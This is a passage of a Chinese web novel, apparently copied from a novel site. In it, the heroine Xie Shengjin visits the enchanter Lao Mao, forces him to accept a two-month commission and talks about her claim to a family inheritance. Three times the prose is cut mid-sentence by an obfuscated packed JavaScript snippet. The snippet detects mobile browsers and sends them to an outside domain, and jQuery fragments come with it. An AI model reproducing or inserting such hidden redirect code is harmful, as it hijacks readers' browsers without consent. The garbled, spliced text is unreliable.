她的睫毛很长,黑而浓密,根根分明。邵满一向都觉得她是个非常漂亮的孩子,但攻击性胜过美貌,几乎不怎么见得到她这么柔弱的时候。 “小可怜儿。” 他忍不住嘀咕道。 于是邵满没有打扰她,轻手轻脚地离开了地下室。 …… “怎么了?”何饭一见他出来就问。 “在休息。”邵满说,“没吵她。” 接着他转向维斯右,“老猫这次在东区呆多久?” “很久。”维斯右说,“短期内不走了。” 邵满一喜,“行,我过两天就去看望他。” 维斯右点头。 大事解决,邵满心头一松。他的嘴闲不住,开始东拉西扯地闲聊:“奥利维耶还好吗?” 奥利维耶是维斯右的监护人。一个七十多岁依然步伐矫健的老头。 维斯右埋头苦吃,言简意赅:“才打死了一个人。” “……”邵满顿了顿,“那真是老当益壮啊。” 他问:“最近有麻烦了?” “没有。”维斯右的嘴巴停住,想了想,“他们打牌赌钱,那人耍赖不给。老头去要,然后就打起来。” “然后呢?就打死了?” “没。”维斯右继续低下头,“那人拿了把刀,准备捅老头。” 邵满心里一紧,“然后?” “然后他毒瘾犯了,眼睛看不清楚,捅到他老大了。” “……”邵满一时不知道该用什么表情,“然后?” “然后那人就被群起而攻之。” 维斯右用了个成语,忍不住回味了一下,觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478407|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己这个词用得颇为不错。 “然后?”邵满忍不住了,喷道:“你能不能一口气说完?” “他被打死了。” 邵满等了半天,“没了?” “嗯。” “那跟奥利维耶有什么关系吗?!” “老头说他趁乱去打了两拳。” “……”邵满被气笑了。 他环视了周围一圈,深感自己身边都是群什么神人。 “对了,”维斯右终于吃饱了,她摊开手,何饭非常有眼力见地扯了张纸递给她。她接过来擦擦嘴,说道,“老猫让你提两瓶酒去看他。” “为什么?他不是不喝酒吗?”邵满困惑地问,“他要死了?让我把酒倒一条线洒他坟前?” “不是。”维斯右说,“他让我试探一下你关不关心他。” “……”邵满周围的神人又多了一个,他艰难地一吞唾沫,“所以试探结果是?” “C。” 邵满惊了,非常不服气地质疑道:“这什么?等级吗?这么低?你是不是在假公济私?” “答对了他不喝酒得A,但你刚刚说他死了倒扣六十分得C。” “……行。”邵满恶狠狠地一擦嘴,“凭什么要给我评分?我也要给他评!何饭!” “到!” “给我想一个最刁钻、最离谱、最恶毒,但答案又要合情合理的问题!” “是!” 人在干坏事的时候是不会觉得累的。何饭津津有味地琢磨去了。 维斯右无动于衷。她只是个传话的,尽职尽责地传完话蹭了顿饭就走了,留下何饭和邵满两人在客厅绞尽脑汁。 晚上的时候,谢盛谨才醒来。 长时间躺在治疗仓中,她脸上最后的伤痕终于消失得无影无踪。 邵满看到她过来,连忙招呼她:“休息好了没?” “嗯。”谢盛谨点头。她的脸色仍然有些苍白,但总体而言较上午好了不少。 邵满不放心地盯着她脸色,“难受就躺着休息,别勉强自己。” “没有勉强,好多了。”谢盛谨淡淡地笑笑,“我心里有数。” “好吧。”邵满吞下话头,换了个话题,“饿吗?我去煮碗面。” “好。”谢盛谨坐到沙发上,轻轻靠在上面,“谢谢邵哥。” 邵满把她的动作看在眼里,心想看来是真的很难受了,之前坐沙发都不会靠着,这得难受成什么样才会站起两分钟就要坐下休息! 他殷切地倒了杯热水放在谢盛谨面前,叮嘱道:“好好喝水,我去煮面。” “好。” 谢盛谨接过来,双手捧着杯子,很乖巧的样子。 这样子可真稀罕啊。邵满想着,一步三回头地进了厨房。 他的厨艺不必多说,不一会儿,一碗面就端了出来。 香气转入鼻腔里带来的满足感让谢盛谨长舒了一口气。 她细嚼慢咽着,邵满坐在一旁看着她吃。过了好一会儿才说道:“老猫……就是我之前说的那个附魔师,他回来了。我们什么时候去找他?” 话音刚落,他突然感到谢盛谨坐直了身体。 “明天。”她不假思索。 “你的身体……”邵满有些犹豫。 “不要紧。”谢盛谨朝他笑笑,“没关系的。” 邵满皱着眉:“真没事?” “没。”谢盛谨摇头,“真的。别担心邵哥,我心里有数。” 邵满看了她几秒,最终还是没反驳:“行。” 19.老猫 老猫住的地方在东区七街。 邵满对那里熟门熟路并不是因为他,而是因为七街有一家非常好吃的烤冷面。 “何大叔烤冷面。”邵满仰头念道,“等会儿就来宠幸你。” 他们拐入巷子深处,转弯,沿着一闪一闪的光污染屏幕往前走。 几十米后,邵满停在了一间门口长满杂草和藤蔓的房门前。 “到了。”他对谢盛谨说。 接着他顿了顿,然后蹲下身。 谢盛谨:“?” 邵满艰难地仰头看着她:“现在我们要开始除草了。不然我们进不去。” “……”谢盛谨感叹道,“真是原生态啊。” “你喜欢?”邵满问,“你要是喜欢这种我也可以把修理铺搞成这样。” 谢盛谨看他一眼,确定他没有在开玩笑,沉默了一会儿:“不了,谢谢邵哥。” 婉拒了。她绝无任何一点喜欢的意思。 于是谢盛谨也蹲下身,开始拔草。 邵满正准备教谢盛谨如何拔得更快更好更不费手,但一转头就看见谢盛谨把她那把由X-11型高密度聚合材料造成的刀掏出来,寒光一闪,“嗖嗖嗖”地砍倒一片。 邵满默默地转回脑袋,心想这应该是这把刀接触过的最廉价的东西了。 …… 十分钟后,谢盛谨站起身,利落地拍拍身上的浮土,“怎么样?邵哥,还要继续吗?” “不用了。”邵满跟着站起来,欣赏了一下两人的劳动成果,“这应该是老猫这门前最干净的时候了。” 下一刻,他后退一步,还不忘提醒谢盛谨:“站开点,小心伤到你。” 谢盛谨听他的话站到一边。 邵满满意地转回脑袋,转了转手腕和脚踝,然后深吸一口气,后退一步,骤然抬脚——“轰!!” 门瞬间被踹开了一个可供一人通过的破洞。 “进屋吧。”邵满朝谢盛谨招招手,“他现在应该在家。” 谢盛谨看着被踹坏的门,再看向邵满,沉默了一瞬:“邵哥,你先吧。我跟他不认识。” 怕被轰出去。 邵满并没有意识到谢盛谨的言外之意,他从被踹破的门里钻进去的时候还瞅了谢盛谨一眼,“别怕啊,他不吃人。” 邵满进入其中后谢盛谨这才看到里面还有一扇门。数块报废的装甲板,表面焊着各种不同型号的弹壳组成的防盗锁。两道门之间是一道三米左右的索桥,索桥底部空荡荡的,表面看上去什么都没有。当邵满踏上去后,桥对面的紫外灯骤然亮起,将玄关处用导弹尾翼改造的伞架照得纤毫毕现——每根伞骨底下都挂着一个非常可爱的奶茶小杯。 谢盛谨上了桥,往回一看,刚刚被邵满踹开的门不知不觉已经恢复如初。 “跟上!” 邵满招呼她。 穿过第二扇门,整面由防弹玻璃拼接的展示墙撞入眼帘。左半区的通体色调充满一股钢铁的冷硬,货架上放着神经接驳器的仿生脊椎和各式各样的仿生义体,右半区却浸泡在奶白和蜂蜜黄色的甜蜜氛围里,充满艺术感的大树展览柜上,霍徳红茶、暮山紫毫的绿茶、已经完成的醇香奶茶样品被非常细致地摆在上面。 屋子的最顶上歪歪扭扭地写着一行【爆改义体奶茶半价】。 邵满拉着谢盛谨继续往前。 接着是第三道门。邵满伸手敲了敲。 门应声而开。 谢盛谨闻到了扑面而来的香味,奶制品的甜香与茶叶的清香混合在一起,并没有使这股过分浓郁的香味令人难以接受。她一眼就看到珍珠红糖椰果香草荚一一摆在奶白色的小桌上,左边奶茶机上凝出焦糖色的水珠,右边的立体打印机“嗡”的一声,刚好吐出一个印着黑色小猫的奶茶杯套。 中间是蜷在悬浮椅里的老猫。 这是个肥胖的中年男性。秃顶,体脂率过高,应该患有高血压和糖尿病,义体化程度较低,只有一只眼睛有明显义体化的痕迹,长相普通,脸和眼睛很圆,显得非常和善。 这是一张曾经存在于记忆中的脸。 这么多天过去,谢盛谨终于确认了答案。 她轻轻舒了一口气。 与谢盛谨的气定神闲不同,悬浮椅上的老猫听到脚步声睁开眼,却目光扫来的第一眼就像被卡住了喉咙。 他死死盯着谢盛谨,像个劳损过载的机器人一般逐渐从躺椅上起身,眼神被钉在她身上一般,目光中有难以言喻的惊骇。 邵满莫名其妙地盯着他,“老猫,你干嘛?抽什么风呢?” 老猫终于吝啬地把目光挪到他脸上。仅仅一瞬,他又快速挪开视线。 “没事吧?”邵满不放心地问,“看着不对劲呢,病了?” 老猫扯起嘴角,摆摆手,“……没事。” 他的声音像是被砂纸反复打磨过,沙哑粗糙,每发出一个音节都伴随着干涩的摩擦感,像老旧风箱拉扯时发出的吱嘎声响。 谢盛谨的眉心微不可察地一蹙。 老猫时刻注意着她的表情。 此时他圆圆的脸上将那些震惊、怀疑、茫然、困惑交杂的复杂情绪掩在了一张笑脸之下,他挥挥手把邵满拍开,操控着身下的电动椅朝谢盛谨转来,他不动声色地试探着:“客人有什么需要吗?” “有。”谢盛谨说。 老猫从仰视的角度,一眼就能看见她笔挺的站姿、下颌处锋利的轮廓与半垂着眼睛透出的漫不经心。 “是什么呢?”他放低了声音,也放低了态度,问道。 邵满认识老猫四年,第一次听到他的这个调子。他皱了皱眉,意识到哪里不对。 他开始打量两个人脸上的每一丝表情。 屋内安静得有些紧绷,只能听到三个人的呼吸声。邵满探究地看着谢盛谨。她没什么异常,一如既往保持着在外人面前漠然冷淡的样子。 他的目光刚准备从谢盛谨身上移开时,谢盛谨蓦地抬眼,朝他露出一个微笑。 邵满一怔。 接着谢盛谨转头向老猫,轻言道:“超型液态金属抗电磁干扰材质与量子隔断通讯,能组装在一起吗?” “超型液态金属抗电磁干扰材质?” 老猫重复了一遍这句话。 然后念了第二遍。 接着是第三遍。 他突然沉默了。 邵满之前就听谢盛谨讲过这种材料,但他的主业是ai通讯与机械,专业不对口,他并没有什么独特的见解。但老猫这过分奇妙的反应让他意识到这东西怕是大有来头。 过了很久,老猫突然开口问道:“我能问一下,这东西是哪里来的吗?虽然我知道这不符合规矩。” 邵满一惊,迅速看了他一眼,心想老猫今天怎么了?这东西重要到让他不顾一直坚守的行业规矩也要打破砂锅问到底吗?但是谢盛谨会不会反感?他都没打听过这东西的来源…… 诸多念头在他脑子里一晃而过,邵满几次都张开嘴,但最终什么也没说。 “卢兰联邦军事电磁材料研究院。” 谢盛谨颔首道,“不是什么不能说的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484770|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西。” 老猫脸上,怀念的神色一闪而过。 他低下头,嗫喏着嘴唇,最终重重地叹了一口气。 再次抬头时,他脸上的茫然、怀念、犹豫,等等神色都消失了。 他郑重其事地说道:“如果你能信任我,那我可以一试。” 他仰头注视着谢盛谨,诚恳道:“但我已经落后时代太多,要想研究出个不错的结果,怕是要一段时间。” “两个月。” 谢盛谨问:“能行吗?” 老猫在犹豫。他看着谢盛谨的脸,有些恍神。 “你需要什么条件?”谢盛谨说,“我会全力配合。但我需要一个结果,无论那个结果如何——成功还是失败,我都需要阶段性汇报和演示。” 老猫犹豫道:“我……这恐怕很难……” 谢盛谨盯着他,眸色极深。 “你想坑蒙拐骗,套取材料吗?”她突然问道。 老猫一惊,“不……” “那就是想私吞雇主财产,不守信用了。”谢盛谨歪了歪头,“你在装什么?” 邵满已经傻了,完全插不上话。老猫怔怔地望着她,居然没有反驳。 “见到我的第一件事就是想蒙混过去。”谢盛谨冷冷一笑,“我原以为你会坦诚。” 老猫张了张嘴,发现自己居然无法反驳。 “我站在你面前的第一秒,就应该已经知道我是谁。故人之情可以视而不见,故人之子可以佯作不知,但是旧时之仇——” 她在老猫和邵满愕然望来各有千秋的眼神中冷冷一笑,“你能装作遗忘吗?” “你骗了某些人,利用了他们,又背叛了他们。”谢盛谨在老猫逐渐苍白的脸色下根本不作停歇,她的言语比刀剑更为尖锐,从老猫的脊髓横贯向上,一寸一寸将他钉在十字架上。 “但有人依旧因为和你相识数年的情谊放你一命,还让我见到你时代她问好。我原本是想这么做的。” 谢盛谨步步紧逼,“仇恨恩怨是上一辈的事,对于旧事,我感到无能为力,也深感可惜与同情。” 话是这么说的,但她的眼底深如寒潭,如同毫无波动的死水,“——但真正见到您的时候,我还是没有按照她的吩咐完成。您会感到介意吗?能原谅我的一时的激动情绪而略显不敬的言辞吗?” 老猫圆滚滚的肥胖身体剧烈地一抖。谢盛谨露出一个古怪的微笑,“您应该能吧?毕竟违反约定也是人之常情……就像你如今在这里龟缩一隅封闭自己逃避现实一样,你儿子的骨灰洒在那场火里被烧得干干净净,你好友为你的背叛和懦弱承担了所有的责任。而你在贫民窟逃避了十一年,这十一年你过得如鱼得水,舒服得恨不得永居这片醉生梦死之乡,你甚至染上了赌博和毒瘾,用这些曾经鄙夷的东西麻痹自己,以为这样就能……” “够了!”老猫突然爆发一声怒吼。 “够了,够了……”他“砰”的一下从椅子上站起来,可惜矮胖的体型并未为他争取到什么气势,他堪堪达到谢盛谨的下巴,愤怒地仰视着她,“够了!你什么都不知道!你又知道我干了什么吗?他们污蔑我讨伐我,而你只知道从你的长辈那里道听途说,在一个可怜人面前卖弄自己的见多识广,你难道为此骄傲吗?!” “并不。”谢盛谨平静地说,“那你说你干了什么?” 老猫突然意识到了什么。他瞪大了眼。 在他恍然大悟的懊悔眼神中,谢盛谨轻描淡写地一锤定音: “如果你认为我说的有误,那就证明给我看。” 20.少主之位 “……”老猫噤了声。 这时候他突然意识到自己中招了。 谢盛谨的愤怒也许是假的,言辞也许是编的,但她的目的是真真切切地达到了。 “……骗子。”老猫蠕动着嘴唇,“……坏人、流氓、无耻之徒!” 谢盛谨毫不在意:“你在贫民窟这么多年,骂人功力怎么还在这种水准?” “你比你母亲可耻多了!”老猫愤怒地咆哮道,“你除了继承了她那张脸,你身上还有什么她的影子?!” “那让你失望了。”谢盛谨气定神闲地拉过一把椅子坐下,“除了你之外,所有人都觉得我和母亲在各个方面都非常相似。她在你心中的形象是什么?” 她不置可否:“恐怕全天下她的美德都在你的臆想中了。” “——对了。”谢盛谨话音一转,“关于您刚刚说的好脸,我很荣幸。” 这张完美无暇、漂亮得令人呼吸一滞的脸上朝着老猫勾勒出一个恶劣的笑容,“如果您喜欢,允许模仿和整容。仅此您有特权哦,其他人但凡敢模仿,无论天涯海角我一定会把他找出来,粉身碎骨再挫骨扬灰,最后灌到水泥里做钢筋。” “……”老猫瞪着她,感觉自己已经快气得背过去了。 谢盛谨舒舒服服地椅子上一靠,两条长腿自然而然地交叠起来,她看向老猫,不容拒绝道:“两个月。” “两个月之内,我要看到成品。” “凭什么?”老猫脱口而出,“你到我的屋门前把我羞辱一顿,现在又要让我给你打白工,凭什么?” “谁说你是打白工?”谢盛谨反问。 “我不是奴隶主,你也不是奴隶,我们其实是合作共赢的关系。” 老猫咬牙切齿:“赢在哪里?” “赢在我把你的仇人粉身碎骨再挫骨扬灰,外加恢复你在外面一塌糊涂的名誉,而我这边只需要你把这东西做出来就行。” 谢盛谨颔首道:“这么一看我似乎还亏了。” 老猫呼吸一滞,他的瞳孔缩小了一瞬,随即眉心紧缩,抿住唇。他那张圆圆的脸上做出这种表情,看上去像个刚出炉的包子。 “……你怎么知道我是被污蔑的?”他嗓音干涩地问。 “我不知道。”谢盛谨说,“但不是你自己说的吗?” 老猫再次意识到自己上当了。 他艰难地背过头去不看她,却与好奇心已经快溢出来的邵满对视了个猝不及防。 老猫顿时更气了。 他急剧喘息了好几口,那破锣嗓子才出声问道:“你今年多大了?” “十七岁。” “十七岁。”老猫重复了一遍。 他依然生气,依然觉得谢盛谨不可理喻,但也许是内心的天平开始动摇,他看她已经没有之前那种面目可憎的感觉了。 十七岁,算算年龄,也的确是这么大。这不过还是个应该在校园里无忧无虑的孩子。 老猫神情复杂地打量着谢盛谨。 刚好此时她正仰起头,朝着邵满笑。 这个笑容是发自内心的笑,甚至带上了一丝孩子气。 老猫有些恍神。他叛逃时谢盛谨才几岁,两人见面不多,他却对当初那个漂亮得如同洋娃娃的小孩是有些印象的。 这是谢昭的孩子。 老猫不知道应该感到骄傲还是生气,但谢昭的确养出了一个非常优秀的女儿。 尽管这份优秀被应用到了自己身上。 “她知道吗?”老猫艰涩地问,“你刚刚说的那些话,她知道吗?” 谢盛谨将与邵满说话的目光移过来,想了想,“她不知道。” 在老猫眸色暗下去的那一秒,她补充道:“那句代她问好是她说的。其他都是我编的。” 老猫神情一振。 他被“旧时老友对我还有感情”这件事振奋到了,心里一喜,过了好久脑子才转起来:“那你怎么会这么编?你至少需要一点推测吧?” “推测是我翻阅谢家宗卷自己猜的。”谢盛谨哼笑一声,“要是什么都靠我妈,我早就尸骨无存了。” “你怎么能这么说!”老猫急匆匆地反驳道,“她把你养育到这么大……” 他在谢盛谨似笑非笑的眼神里骤然噤声。 “她在你心中到底是何等光辉伟岸的形象?”谢盛谨着实好奇了,“抛开她为你担责、被你背叛这两事不谈,她的个人形象也没好到哪里去吧?凶残暴戾、手段专横才是她的标签吧。” 老猫沉默了一会儿,“……你不懂。” 谢盛谨也没想懂。 她是为了自己的事情而来,半点不想参与上一辈的恩怨纠葛。 “你的想法是?”谢盛谨问,“我的时间不多,不想在无关紧要的地方浪费时间。” 老猫听出了她的言下之意。 天高皇帝远,谢盛谨想除掉他轻而易举。谢盛谨对他毫无感情,下手起来一点负罪感也无。何况贫民窟和一二圈层的通讯完全隔断,等谢昭收到他死讯时估计自己的坟头草已经三米高。 他没有选择。 老猫说服了自己。 “可以。”他同意了,“两个月之内,我会尽力完成。” “每周给我一次阶段性成果。我不在的话交给邵满。”谢盛谨漂亮的眼睛朝邵满一眨,“可以吗,哥哥?” 邵满心神一震。 这一声“哥哥”叫得他神魂颠倒魂不守舍,像根小羽毛在心里挠痒痒一样,他现在有种迫切的抓耳挠腮的欲望以缓解这种轻轻淡淡的酥麻。 “可以啊。”他欣然答应道,“没有任何问题。” 老猫瞪着他这个叛徒,气得直哼哼。 他眼不见心不烦,愤怒地扭头瞪着谢盛谨,质问道:“你俩什么关系?你叫他哥干嘛?他是你妈的私生子?还是你爸的?” “都不是。”谢盛谨神情自若,“就是我哥,你管得着?” 老猫喘着粗气盯着谢盛谨,太阳穴连着额角的青筋突突地跳。他的嘴上功夫面对谢盛谨时毫无优势,只得生硬地转移了话题,“你的材料呢?给我看看。” 谢盛谨从兜里拿出来,递给他。 “别弄掉了。”她说,“不然弄死你。” 老猫已经学会了屏蔽她的话。 他小心翼翼地接过来,目光炯炯地盯着这颗小小的耳钉。他放缓了呼吸,轻声问道:“它价值多少?” “之前五个亿。”谢盛谨说,“现在翻倍了。” 老猫一愣,“为什么还变贵了?” “因为一时间没有找到克制这东西的方法,它的功能太全面太完美,一下子威胁到了很多世家的通讯安全。他们着急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490149|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之下把它聚集起来摧毁了大半,虽然行动中途被阻止了,但是剩下的材料也所剩无几。” 谢盛谨在老猫一脸“你在开什么玩笑”的表情中摊了摊手,“事实就是这样,你爱信不信。” 老猫其实信了。 一般越离谱的故事真实性越高,而且这种蠢事很像那帮子贵族财阀干得出来的事。 老猫刚想说些什么,就看到邵满一直在一旁专心致志地竖着耳朵。 他喊了声:“邵满。” “干嘛?”邵满听得老认真了,突然提到自己还有些纳闷,“有何吩咐?” “出去一下。我有点事想说。” “哦……”邵满不情不愿、一步三回头地出去了。 老猫盯着邵满把门关上,连条缝隙都没有的时候,才转向谢盛谨。 “你怎么会在这里?你准备什么时候回去?” “不知道。” “不知道?”老猫以为她不想说,“你不想说就不说,不用敷衍我。” “我真不知道。”谢盛谨说,“我被捅了一刀,又被下了毒,脸上还被激光刀烧了,基因里应该也被做了手脚,差点死掉。费尽心思才勉强在贫民窟捡回一条活路。” 老猫一时不知道该用什么表情来应对。按刚刚的经验,越离谱的故事真实性越高,但这段文字的冲击太大,他突然有点应对不过来。 他沉默了一会儿,打量着谢盛谨看上去毫发未伤的脸,问道:“谢昭呢?” 谢盛谨脸上闪过一丝阴霾,“被困住了。” “什么?!”老猫一急,“她有没有事?” “她当然没事,谁敢对她动手。” “为什么会这样?”老猫的眉心一直紧紧锁住,“你做了什么吗?” 谢盛谨靠在沙发上,舒展了下身体。然后挺腰坐正坐直,盯着老猫,一字一顿道:“我快成年了。” 老猫一怔,随即长长地叹口气。 财阀家族的成年可不单单只是年龄进入另一个阶段,它包含着很多:继承权、股份、甚至军权。 他慎重地问:“对面是?” “正统。”谢盛谨一挑眉,“我是心术不正欲要谋权篡位的旁系子弟。” “胡说!”老猫立刻否认道,“谢昭的女儿怎么算得上旁系!” “他们是这么想的。” “但多的是人不会这么想。”老猫在谢家待了那么多年,基本的认知判断都是有的,并不会被谢盛谨糊弄过去,“而且谢家少主位,亲缘关系只是一部分,更重要的是能力和长老院表决。你这次着得这么惨,怕是平时就蹦跶得很高吧?” “不愧是您。”谢盛谨虚情假意地恭维道,“但那又如何?那本来就该是我的东西。” “怎么就该了?”老猫啼笑皆非,“又没写你的名字。” “——没写我的名字吗?”谢盛谨轻声反问。 老猫一怔。 “谢家这一辈最有希望的家主之子,谢明耀、谢明成。再往外数,谢婉清和我。更外面的旁系多如过江之鲫,优秀的人有,纨绔子弟也多,废物更是数不胜数。” 谢盛谨坐得笔直,下颌锋锐、眉骨深邃,脊背如铿锵的剑。 她望向老猫的眼睛,声音轻而笃定。 “我不自谦,也不自负——认为少主之位非我莫属。”